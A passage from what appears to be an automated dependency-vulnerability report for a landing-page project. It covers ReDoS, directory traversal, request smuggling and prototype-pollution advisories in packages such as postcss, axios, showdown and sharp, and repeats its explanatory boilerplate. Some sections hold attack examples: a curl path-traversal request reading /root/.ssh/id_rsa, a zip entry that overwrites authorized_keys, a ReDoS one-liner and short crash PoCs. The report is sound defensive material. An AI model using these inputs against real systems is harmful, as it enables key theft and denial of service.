The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade path-to-regexp to version 0.1.13 or higher.

References

medium severity
new

Directory Traversal

  • Vulnerable module: postcss
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6 postcss@8.4.31
    Remediation: Upgrade to next@16.3.0.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11 postcss@8.4.31
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 postcss@8.5.12

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal in the PreviousMap.loadFile() method of lib/previous-map.js, which nests its traversal guard inside an if (cssFile) branch that is skipped when the from option is unset, leaving only a check that the target path ends in .map. An attacker can read arbitrary .map files from the filesystem, disclosing their sources paths and sourcesContent through the generated source map, by placing an absolute or ../ path in a sourceMappingURL comment in the processed CSS. This requires the application to process attacker-influenced CSS without the from option, with map enabled and the source-map module available, and then expose result.map to the attacker, and the read is limited to JSON-parseable files ending in .map.

Workaround

This vulnerability can be avoided by passing an explicit from option when processing untrusted CSS, which restores the traversal guard that is otherwise skipped.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-45623.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.23 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: postcss-selector-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @tailwindcss/typography@0.5.19 postcss-selector-parser@6.0.10

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the toString function in the AST Serialization. An attacker can cause uncontrolled recursion by providing specially crafted input, potentially resulting in resource exhaustion and application unavailability.

Remediation

Upgrade postcss-selector-parser to version 6.1.3, 7.1.2 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: qs
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 body-parser@1.20.3 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 body-parser@1.20.3 qs@6.13.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the stringify() function, when processing arrays with the options arrayFormat: 'comma' and encodeValuesOnly: true that contain null or undefined elements. An attacker can cause errors by supplying mailcious input that results in these options being used with arrays containing null or undefined values. This only causes a crash if application code makes calls outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or explicitly disables framework error handling.

PoC

const qs = require('qs');

qs.stringify({ a: [null, 'b'] },      { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [null] },           { arrayFormat: 'comma', encodeValuesOnly: true });

Remediation

Upgrade qs to version 6.15.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: showdown
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/node@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/website-crawler@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 showdown@2.1.0

Overview

showdown is a JavaScript Markdown to HTML converter.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the anchors subparser in anchors.js (AKA links.js).

PoC

time node -e '/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g.test("[[[[[[[[[".repeat(9999))'

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling in the processHeader() while handling HTTP/1.1 requests containing duplicate Content-Length headers with differing casing. An attacker can bypass access controls, poison caches, hijack credentials, or cause service disruption by sending specially crafted HTTP requests that are interpreted inconsistently by proxies and backend servers.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

medium severity

Use of Uninitialized Resource

  • Vulnerable module: ws
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/anthropic-claude@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/openai@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-client@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Use of Uninitialized Resource in the websocket.close() implementation in the Sender class, which exposes uninitialized memory when a TypedArray is provided as the reason argument.

Note: The project maintainers note that this "flaw is only exploitable through misuse that is unlikely in practice".

PoC

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Remediation

Upgrade ws to version 8.20.1 or higher.

References

medium severity
new

Integer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.34.5

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron sharp@0.34.5
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Integer Overflow in the bundled libvips GIF loader (VipsForeignLoadNsgif), which can miscompute image dimensions on 32-bit systems. An attacker can crash the process by supplying a GIF whose dimensions overflow the size calculation. Exploitation affects only 32-bit systems and requires the application to decode an untrusted GIF through sharp.

Workaround

This vulnerability can be avoided by blocking the GIF loader through sharp's block() for the VipsForeignLoadNsgif operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted GIF images are not decoded.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

medium severity
new

Out-of-bounds Read

  • Vulnerable module: sharp
  • Introduced through: sharp@0.34.5

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron sharp@0.34.5
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Out-of-bounds Read and null pointer dereference in the bundled libvips EXIF decoder, which does not validate the range of EXIF tag groups before passing them to libexif. An attacker can crash the process by supplying an image whose embedded EXIF metadata carries an out-of-range tag group. Exploitation requires the application to process an untrusted image whose EXIF metadata sharp reads.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

